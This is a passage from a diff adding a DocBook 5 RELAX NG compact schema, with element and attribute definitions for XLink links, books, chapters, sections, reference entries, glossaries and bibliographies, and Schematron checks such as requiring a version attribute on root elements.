xsd:NMTOKEN }? +div { + db.extendedlink.role.attribute = attribute role { text } + db.extendedlink.attlist = + db.extendedlink.role.attribute? + & db.common.attributes + & + ## Identifies the XLink link type + [ a:defaultValue = "extended" ] + attribute xlink:type { + + ## An XLink extended link + "extended" + }? + & db.xlink.role.attribute? + & db.xlink.title.attribute? + db.extendedlink = + + ## An XLink extended link + element extendedlink { + db.extendedlink.attlist, (db.locator | db.arc)+ + } +} +div { + db.locator.role.attribute = attribute role { text } + db.locator.attlist = + db.locator.role.attribute? + & db.common.attributes + & + ## Identifies the XLink link type + [ a:defaultValue = "locator" ] + attribute xlink:type { + + ## An XLink locator link + "locator" + }? + & db.xlink.href.attribute + & db.xlink.role.attribute? + & db.xlink.title.attribute? + & db.xlink.label.attribute? + db.locator = + + ## An XLink locator in an extendedlink + element locator { db.locator.attlist, empty } +} +div { + db.arc.role.attribute = attribute role { text } + db.arc.attlist = + db.arc.role.attribute? + & db.common.attributes + & + ## Identifies the XLink link type + [ a:defaultValue = "arc" ] + attribute xlink:type { + + ## An XLink arc link + "arc" + }? + & db.xlink.arcrole.attribute? + & db.xlink.title.attribute? + & db.xlink.show.attribute? + & db.xlink.actuate.attribute? + & db.xlink.from.attribute? + & db.xlink.to.attribute? + db.arc = + + ## An XLink arc in an extendedlink + element arc { db.arc.attlist, empty } +} +db.status.attribute = + + ## Identifies the editorial or publication status of the element on which it occurs + attribute status { text } +db.toplevel.sections = + ((db.section+, db.simplesect*) | db.simplesect+) + | (db.sect1+, db.simplesect*) + | db.refentry+ +db.toplevel.blocks.or.sections = + (db.all.blocks+, db.toplevel.sections?) | db.toplevel.sections +db.recursive.sections = + ((db.section+, db.simplesect*) | db.simplesect+) + | db.refentry+ +db.recursive.blocks.or.sections = + (db.all.blocks+, db.recursive.sections?) | db.recursive.sections +db.divisions = db.part | db.reference +db.components = + db.dedication + | db.preface + | db.chapter + | db.appendix + | db.article + | db.colophon +db.navigation.components = + notAllowed | db.glossary | db.bibliography | db.index | db.toc +db.component.contentmodel = + db.navigation.components*, + db.toplevel.blocks.or.sections, + db.navigation.components* +db.setindex.components = notAllowed | db.setindex +db.toc.components = notAllowed | db.toc +db.set.components = db.set | db.book +div { + db.set.status.attribute = db.status.attribute + db.set.role.attribute = attribute role { text } + db.set.attlist = + db.set.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.set.status.attribute? + db.set.info = db._info.title.req + db.set = + + ## A collection of books + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:set" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element set { + db.set.attlist, + db.set.info, + db.toc.components?, + db.set.components+, + db.setindex.components? + } +} +div { + db.book.status.attribute = db.status.attribute + db.book.role.attribute = attribute role { text } + db.book.attlist = + db.book.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.book.status.attribute? + db.book.info = db._info.title.req + db.book = + + ## A book + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:book" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element book { + db.book.attlist, + db.book.info, + (db.navigation.components | db.components | db.divisions)+ + } +} +div { + db.dedication.status.attribute = db.status.attribute + db.dedication.role.attribute = attribute role { text } + db.dedication.attlist = + db.dedication.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.dedication.status.attribute? + db.dedication.info = db._info + db.dedication = + + ## A wrapper for the dedication section of a book + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:dedication" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element dedication { + db.dedication.attlist, db.dedication.info, db.all.blocks+ + } +} +div { + db.colophon.status.attribute = db.status.attribute + db.colophon.role.attribute = attribute role { text } + db.colophon.attlist = + db.colophon.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.colophon.status.attribute? + db.colophon.info = db._info + db.colophon = + + ## Text at the back of a book describing facts about its production + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:colophon" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element colophon { + db.colophon.attlist, db.colophon.info, db.all.blocks+ + } +} +div { + db.appendix.status.attribute = db.status.attribute + db.appendix.role.attribute = attribute role { text } + db.appendix.attlist = + db.appendix.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.appendix.status.attribute? + db.appendix.info = db._info.title.req + db.appendix = + + ## An appendix in a Book or Article + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:appendix" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element appendix { + db.appendix.attlist, db.appendix.info, db.component.contentmodel + } +} +div { + db.chapter.status.attribute = db.status.attribute + db.chapter.role.attribute = attribute role { text } + db.chapter.attlist = + db.chapter.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.chapter.status.attribute? + db.chapter.info = db._info.title.req + db.chapter = + + ## A chapter, as of a book + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:chapter" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element chapter { + db.chapter.attlist, db.chapter.info, db.component.contentmodel + } +} +db.part.components = + (db.navigation.components | db.components) + | (db.refentry | db.reference) +div { + db.part.status.attribute = db.status.attribute + db.part.role.attribute = attribute role { text } + db.part.attlist = + db.part.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.part.status.attribute? + db.part.info = db._info.title.req + db.part = + + ## A division in a book + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:part" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element part { + db.part.attlist, db.part.info, db.partintro?, db.part.components+ + } +} +div { + db.preface.status.attribute = db.status.attribute + db.preface.role.attribute = attribute role { text } + db.preface.attlist = + db.preface.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.preface.status.attribute? + db.preface.info = db._info.title.req + db.preface = + + ## Introductory matter preceding the first chapter of a book + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:preface" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element preface { + db.preface.attlist, db.preface.info, db.component.contentmodel + } +} +div { + db.partintro.status.attribute = db.status.attribute + db.partintro.role.attribute = attribute role { text } + db.partintro.attlist = + db.partintro.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.partintro.status.attribute? + db.partintro.info = db._info + db.partintro = + + ## An introduction to the contents of a part + element partintro { + db.partintro.attlist, + db.partintro.info, + db.toplevel.blocks.or.sections + } +} +div { + db.section.status.attribute = db.status.attribute + db.section.role.attribute = attribute role { text } + db.section.attlist = + db.section.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.section.status.attribute? + db.section.info = db._info.title.req + db.section = + + ## A recursive section + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:section" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element section { + db.section.attlist, + db.section.info, + db.recursive.blocks.or.sections, + db.navigation.components* + } +} +div { + db.simplesect.status.attribute = db.status.attribute + db.simplesect.role.attribute = attribute role { text } + db.simplesect.attlist = + db.simplesect.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.simplesect.status.attribute? + db.simplesect.info = db._info.title.req + db.simplesect = + + ## A section of a document with no subdivisions + element simplesect { + db.simplesect.attlist, db.simplesect.info, db.all.blocks+ + } +} +div { + db.ackno.role.attribute = attribute role { text } + db.ackno.attlist = + db.ackno.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.ackno = + + ## Acknowledgements in an Article + element ackno { db.ackno.attlist, db.para.blocks+ } +} +db.article.components = db.toplevel.sections +div { + db.article.status.attribute = db.status.attribute + db.article.class.enumeration = + + ## A collection of frequently asked questions. + "faq" + | + ## An article in a journal or other periodical. + "journalarticle" + | + ## A description of a product. + "productsheet" + | + ## A specification. + "specification" + | + ## A technical report. + "techreport" + | + ## A white paper. + "whitepaper" + db.article.class.attribute = + + ## Identifies the nature of the article + attribute class { db.article.class.enumeration } + db.article.role.attribute = attribute role { text } + db.article.attlist = + db.article.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.article.status.attribute? + & db.article.class.attribute? + db.article.info = db._info.title.req + db.article = + + ## An article + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:article" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element article { + db.article.attlist, + db.article.info, + db.navigation.components*, + ((db.all.blocks+, db.article.components?) + | db.article.components), + (db.appendix | db.navigation.components | db.ackno | db.colophon)* + } +} +db.sect1.sections = (db.sect2+, db.simplesect*) | db.simplesect+ +div { + db.sect1.status.attribute = db.status.attribute + db.sect1.role.attribute = attribute role { text } + db.sect1.attlist = + db.sect1.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.sect1.status.attribute? + db.sect1.info = db._info.title.req + db.sect1 = + + ## A top-level section of document + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:sect1" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element sect1 { + db.sect1.attlist, + db.sect1.info, + ((db.all.blocks+, db.sect1.sections?) | db.sect1.sections), + db.navigation.components* + } +} +db.sect2.sections = (db.sect3+, db.simplesect*) | db.simplesect+ +div { + db.sect2.status.attribute = db.status.attribute + db.sect2.role.attribute = attribute role { text } + db.sect2.attlist = + db.sect2.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.sect2.status.attribute? + db.sect2.info = db._info.title.req + db.sect2 = + + ## A subsection within a Sect1 + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:sect2" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element sect2 { + db.sect2.attlist, + db.sect2.info, + ((db.all.blocks+, db.sect2.sections?) | db.sect2.sections), + db.navigation.components* + } +} +db.sect3.sections = (db.sect4+, db.simplesect*) | db.simplesect+ +div { + db.sect3.status.attribute = db.status.attribute + db.sect3.role.attribute = attribute role { text } + db.sect3.attlist = + db.sect3.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.sect3.status.attribute? + db.sect3.info = db._info.title.req + db.sect3 = + + ## A subsection within a Sect2 + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:sect3" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element sect3 { + db.sect3.attlist, + db.sect3.info, + ((db.all.blocks+, db.sect3.sections?) | db.sect3.sections), + db.navigation.components* + } +} +db.sect4.sections = (db.sect5+, db.simplesect*) | db.simplesect+ +div { + db.sect4.status.attribute = db.status.attribute + db.sect4.role.attribute = attribute role { text } + db.sect4.attlist = + db.sect4.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.sect4.status.attribute? + db.sect4.info = db._info.title.req + db.sect4 = + + ## A subsection within a Sect3 + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:sect4" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element sect4 { + db.sect4.attlist, + db.sect4.info, + ((db.all.blocks+, db.sect4.sections?) | db.sect4.sections), + db.navigation.components* + } +} +db.sect5.sections = db.simplesect+ +div { + db.sect5.status.attribute = db.status.attribute + db.sect5.role.attribute = attribute role { text } + db.sect5.attlist = + db.sect5.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.sect5.status.attribute? + db.sect5.info = db._info.title.req + db.sect5 = + + ## A subsection within a Sect4 + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:sect5" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element sect5 { + db.sect5.attlist, + db.sect5.info, + ((db.all.blocks+, db.sect5.sections?) | db.sect5.sections), + db.navigation.components* + } +} +db.toplevel.refsection = db.refsection+ | db.refsect1+ +db.secondlevel.refsection = db.refsection+ | db.refsect2+ +div { + db.reference.role.attribute = attribute role { text } + db.reference.attlist = + db.reference.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.status.attribute? + & db.label.attribute? + db.reference.info = db._info.title.req + db.reference = + + ## A collection of reference entries + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:reference" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element reference { + db.reference.attlist, + db.reference.info, + db.partintro?, + db.refentry+ + } +} +div { + db.refentry.role.attribute = attribute role { text } + db.refentry.attlist = + db.refentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.status.attribute? + & db.label.attribute? + db.refentry.info = db._info.title.forbidden + db.refentry = + + ## A reference page (originally a UNIX man-style reference page) + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:refentry" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element refentry { + db.refentry.attlist, + db.indexterm*, + db.refentry.info, + db.refmeta?, + db.refnamediv+, + db.refsynopsisdiv?, + db.toplevel.refsection + } +} +div { + db.refmeta.role.attribute = attribute role { text } + db.refmeta.attlist = + db.refmeta.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.refmeta = + + ## Meta-information for a reference entry + element refmeta { + db.refmeta.attlist, + db.indexterm*, + db.refentrytitle, + db.manvolnum?, + db.refmiscinfo*, + db.indexterm* + } +} +db.refmiscinfo.class.enumeration = + + ## The name of the software product or component to which this topic applies + "source" + | + ## The version of the software product or component to which this topic applies + "version" + | + ## The section title of the reference page (e.g., User Commands) + "manual" + | + ## The section title of the reference page (believed synonymous with "manual" but in wide use) + "sectdesc" + | + ## The name of the software product or component to which this topic applies (e.g., SunOS x.y; believed synonymous with "source" but in wide use) + "software" +db.refmiscinfo.class-enum.attribute = + + ## Identifies the kind of miscellaneous information + attribute class { db.refmiscinfo.class.enumeration }? +db.refmiscinfo.class-other.attribute = + + ## Identifies the nature of non-standard miscellaneous information + attribute otherclass { text } +db.refmiscinfo.class-other.attributes = + + ## Identifies the kind of miscellaneious information + attribute class { + + ## Indicates that the information is some 'other' kind. + "other" + } + & db.refmiscinfo.class-other.attribute +db.refmiscinfo.class.attribute = + db.refmiscinfo.class-enum.attribute + | db.refmiscinfo.class-other.attributes +div { + db.refmiscinfo.role.attribute = attribute role { text } + db.refmiscinfo.attlist = + db.refmiscinfo.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.refmiscinfo.class.attribute? + db.refmiscinfo = + + ## Meta-information for a reference entry other than the title and volume number + element refmiscinfo { db.refmiscinfo.attlist, db._text } +} +div { + db.refnamediv.role.attribute = attribute role { text } + db.refnamediv.attlist = + db.refnamediv.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.refnamediv = + + ## The name, purpose, and classification of a reference page + element refnamediv { + db.refnamediv.attlist, + db.refdescriptor?, + db.refname+, + db.refpurpose, + db.refclass* + } +} +div { + db.refdescriptor.role.attribute = attribute role { text } + db.refdescriptor.attlist = + db.refdescriptor.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.refdescriptor = + + ## A description of the topic of a reference page + element refdescriptor { db.refdescriptor.attlist, db.all.inlines* } +} +div { + db.refname.role.attribute = attribute role { text } + db.refname.attlist = + db.refname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.refname = + + ## The name of (one of) the subject(s) of a reference page + element refname { db.refname.attlist, db.all.inlines* } +} +div { + db.refpurpose.role.attribute = attribute role { text } + db.refpurpose.attlist = + db.refpurpose.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.refpurpose = + + ## A short (one sentence) synopsis of the topic of a reference page + element refpurpose { db.refpurpose.attlist, db.all.inlines* } +} +div { + db.refclass.role.attribute = attribute role { text } + db.refclass.attlist = + db.refclass.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.refclass = + + ## The scope or other indication of applicability of a reference entry + element refclass { db.refclass.attlist, (text | db.application)* } +} +div { + db.refsynopsisdiv.role.attribute = attribute role { text } + db.refsynopsisdiv.attlist = + db.refsynopsisdiv.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.refsynopsisdiv.info = db._info + db.refsynopsisdiv = + + ## A syntactic synopsis of the subject of the reference page + element refsynopsisdiv { + db.refsynopsisdiv.attlist, + db.refsynopsisdiv.info, + ((db.all.blocks+, db.secondlevel.refsection?) + | db.secondlevel.refsection) + } +} +div { + db.refsection.role.attribute = attribute role { text } + db.refsection.attlist = + db.refsection.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.status.attribute? + & db.label.attribute? + db.refsection.info = db._info.title.req + db.refsection = + + ## A recursive section in a refentry + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:refsection" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element refsection { + db.refsection.attlist, + db.refsection.info, + ((db.all.blocks+, db.refsection*) | db.refsection+) + } +} +db.refsect1.sections = db.refsect2+ +div { + db.refsect1.status.attribute = db.status.attribute + db.refsect1.role.attribute = attribute role { text } + db.refsect1.attlist = + db.refsect1.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.refsect1.status.attribute? + db.refsect1.info = db._info.title.req + db.refsect1 = + + ## A major subsection of a reference entry + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:refsect1" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element refsect1 { + db.refsect1.attlist, + db.refsect1.info, + ((db.all.blocks+, db.refsect1.sections?) | db.refsect1.sections) + } +} +db.refsect2.sections = db.refsect3+ +div { + db.refsect2.status.attribute = db.status.attribute + db.refsect2.role.attribute = attribute role { text } + db.refsect2.attlist = + db.refsect2.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.refsect2.status.attribute? + db.refsect2.info = db._info.title.req + db.refsect2 = + + ## A subsection of a refsect1 + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:refsect2" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element refsect2 { + db.refsect2.attlist, + db.refsect2.info, + ((db.all.blocks+, db.refsect2.sections?) | db.refsect2.sections) + } +} +div { + db.refsect3.status.attribute = db.status.attribute + db.refsect3.role.attribute = attribute role { text } + db.refsect3.attlist = + db.refsect3.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.refsect3.status.attribute? + db.refsect3.info = db._info.title.req + db.refsect3 = + + ## A subsection of a refsect2 + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:refsect3" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element refsect3 { + db.refsect3.attlist, db.refsect3.info, db.all.blocks+ + } +} +db.glossary.inlines = db.firstterm | db.glossterm +db.baseform.attribute = + + ## Specifies the base form of the term, the one that appears in the glossary. This allows adjectival, plural, and other variations of the term to appear in the element. The element content is the default base form. + attribute baseform { text }? +div { + db.glosslist.role.attribute = attribute role { text } + db.glosslist.attlist = + db.glosslist.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.glosslist.info = db._info.title.only + db.glosslist = + + ## A wrapper for a list of glossary entries + element glosslist { + db.glosslist.attlist, + db.glosslist.info?, + db.all.blocks*, + db.glossentry+ + } +} +div { + db.glossentry.role.attribute = attribute role { text } + db.glossentry.sortas.attribute = + + ## Specifies the string by which the element's content is to be sorted; if unspecified, the content is used + attribute sortas { text } + db.glossentry.attlist = + db.glossentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.glossentry.sortas.attribute? + db.glossentry = + + ## An entry in a Glossary or GlossList + element glossentry { + db.glossentry.attlist, + db.glossterm, + db.acronym?, + db.abbrev?, + db.indexterm*, + (db.glosssee | db.glossdef+) + } +} +div { + db.glossdef.role.attribute = attribute role { text } + db.glossdef.subject.attribute = + + ## Specifies a list of keywords for the definition + attribute subject { text } + db.glossdef.attlist = + db.glossdef.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.glossdef.subject.attribute? + db.glossdef = + + ## A definition in a GlossEntry + element glossdef { + db.glossdef.attlist, db.all.blocks+, db.glossseealso* + } +} +div { + db.glosssee.role.attribute = attribute role { text } + db.glosssee.otherterm.attribute = + + ## Identifies the other term + attribute otherterm { xsd:IDREF } + db.glosssee.attlist = + db.glosssee.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.glosssee.otherterm.attribute? + db.glosssee = + + ## A cross-reference from one glossentry + ## to another + [ + s:pattern [ + name = "Glosssary 'see' type constraint" + "\x{a}" ~ + " " + s:rule [ + context = "db:glosssee[@otherterm]" + "\x{a}" ~ + " " + s:assert [ + test = + "local-name(//*[@id=current()/@otherterm]) = 'glossentry' and namespace-uri(//*[@id=current()/@otherterm]) = 'http://docbook.org/ns/docbook'" + "@otherterm on glosssee must point to a glossentry." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element glosssee { db.glosssee.attlist, db.all.inlines* } +} +div { + db.glossseealso.role.attribute = attribute role { text } + db.glossseealso.otherterm.attribute = + + ## Identifies the other term + attribute otherterm { xsd:IDREF } + db.glossseealso.attlist = + db.glossseealso.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.glossseealso.otherterm.attribute? + db.glossseealso = + + ## A cross-reference from one GlossEntry to another + [ + s:pattern [ + name = "Glossary 'seealso' type constraint" + "\x{a}" ~ + " " + s:rule [ + context = "db:glossseealso[@otherterm]" + "\x{a}" ~ + " " + s:assert [ + test = + "local-name(//*[@id=current()/@otherterm]) = 'glossentry' and namespace-uri(//*[@id=current()/@otherterm]) = 'http://docbook.org/ns/docbook'" + "@otherterm on glossseealso must point to a glossentry." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element glossseealso { db.glossseealso.attlist, db.all.inlines* } +} +div { + db.firstterm.role.attribute = attribute role { text } + db.firstterm.attlist = + db.firstterm.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.baseform.attribute + db.firstterm = + + ## The first occurrence of a term + [ + s:pattern [ + name = "Glossary 'firstterm' type constraint" + "\x{a}" ~ + " " + s:rule [ + context = "db:firstterm[@linkend]" + "\x{a}" ~ + " " + s:assert [ + test = + "local-name(//*[@id=current()/@linkend]) = 'glossentry' and namespace-uri(//*[@id=current()/@linkend]) = 'http://docbook.org/ns/docbook'" + "@linkend on firstterm must point to a glossentry." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element firstterm { db.firstterm.attlist, db.all.inlines* } +} +div { + db.glossterm.role.attribute = attribute role { text } + db.glossterm.attlist = + db.glossterm.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.baseform.attribute + db.glossterm = + + ## A glossary term + [ + s:pattern [ + name = "Glossary 'glossterm' type constraint" + "\x{a}" ~ + " " + s:rule [ + context = "db:glossterm[@linkend]" + "\x{a}" ~ + " " + s:assert [ + test = + "local-name(//*[@id=current()/@linkend]) = 'glossentry' and namespace-uri(//*[@id=current()/@linkend]) = 'http://docbook.org/ns/docbook'" + "@linkend on glossterm must point to a glossentry." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element glossterm { db.glossterm.attlist, db.all.inlines* } +} +div { + db.glossary.status.attribute = db.status.attribute + db.glossary.role.attribute = attribute role { text } + db.glossary.attlist = + db.glossary.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.glossary.status.attribute? + db.glossary.info = db._info + db.glossary = + + ## A glossary + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:glossary" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element glossary { + db.glossary.attlist, + db.glossary.info, + db.all.blocks*, + (db.glossdiv+ | db.glossentry+), + db.bibliography? + } +} +div { + db.glossdiv.status.attribute = db.status.attribute + db.glossdiv.role.attribute = attribute role { text } + db.glossdiv.attlist = + db.glossdiv.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.glossdiv.status.attribute? + db.glossdiv.info = db._info.title.req + db.glossdiv = + + ## A division in a Glossary + element glossdiv { + db.glossdiv.attlist, + db.glossdiv.info, + db.all.blocks*, + db.glossentry+ + } +} +div { + db.termdef.role.attribute = attribute role { text } + db.termdef.attlist = + db.termdef.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.baseform.attribute + db.termdef = + + ## An inline definition of a term + [ + s:pattern [ + name = "Glossary term definition constraint" + "\x{a}" ~ + " " + s:rule [ + context = "db:termdef" + "\x{a}" ~ + " " + s:assert [ + test = "count(db:glossterm) != 1" + "A termdef must contain a glossterm" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element termdef { db.termdef.attlist, db.all.inlines* } +} +db.relation.attribute = + + ## Identifies the relationship between the bibliographic elemnts + attribute relation { text } +div { + db.biblioentry.role.attribute = attribute role { text } + db.biblioentry.attlist = + db.biblioentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.biblioentry = + + ## An entry in a Bibliography + element biblioentry { + db.biblioentry.attlist, db.bibliographic.elements+ + } +} +div { + db.bibliomixed.role.attribute = attribute role { text } + db.bibliomixed.attlist = + db.bibliomixed.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.bibliomixed = + + ## An entry in a Bibliography + element bibliomixed { + db.bibliomixed.attlist, (text | db.bibliographic.elements)* + } +} +div { + db.biblioset.relation.attribute = db.relation.attribute + db.biblioset.role.attribute = attribute role { text } + db.biblioset.attlist = + db.biblioset.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.biblioset.relation.attribute? + db.biblioset = + + ## A raw container for related bibliographic information + element biblioset { + db.biblioset.attlist, db.bibliographic.elements+ + } +} +div { + db.bibliomset.relation.attribute = db.relation.attribute + db.bibliomset.role.attribute = attribute role { text } + db.bibliomset.attlist = + db.bibliomset.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.bibliomset.relation.attribute? + db.bibliomset = + + ## A cooked container for related bibliographic information + element bibliomset { + db.bibliomset.attlist, (db._text | db.bibliographic.elements)* + } +} +div { + db.bibliomisc.role.attribute = attribute role { text } + db.bibliomisc.attlist = + db.bibliomisc.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.bibliomisc = + + ## Untyped bibliographic information + element bibliomisc { db.bibliomisc.attlist, db._text } +} +div { + db.bibliography.status.attrib = db.status.attribute + db.bibliography.role.attribute = attribute role { text } + db.bibliography.attlist = + db.bibliography.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.bibliography.status.attrib? + db.bibliography.info = db._info + db.bibliography = + + ## A bibliography + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:bibliography" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element bibliography { + db.bibliography.attlist, + db.bibliography.info, + db.all.blocks*, + (db.bibliodiv+ | 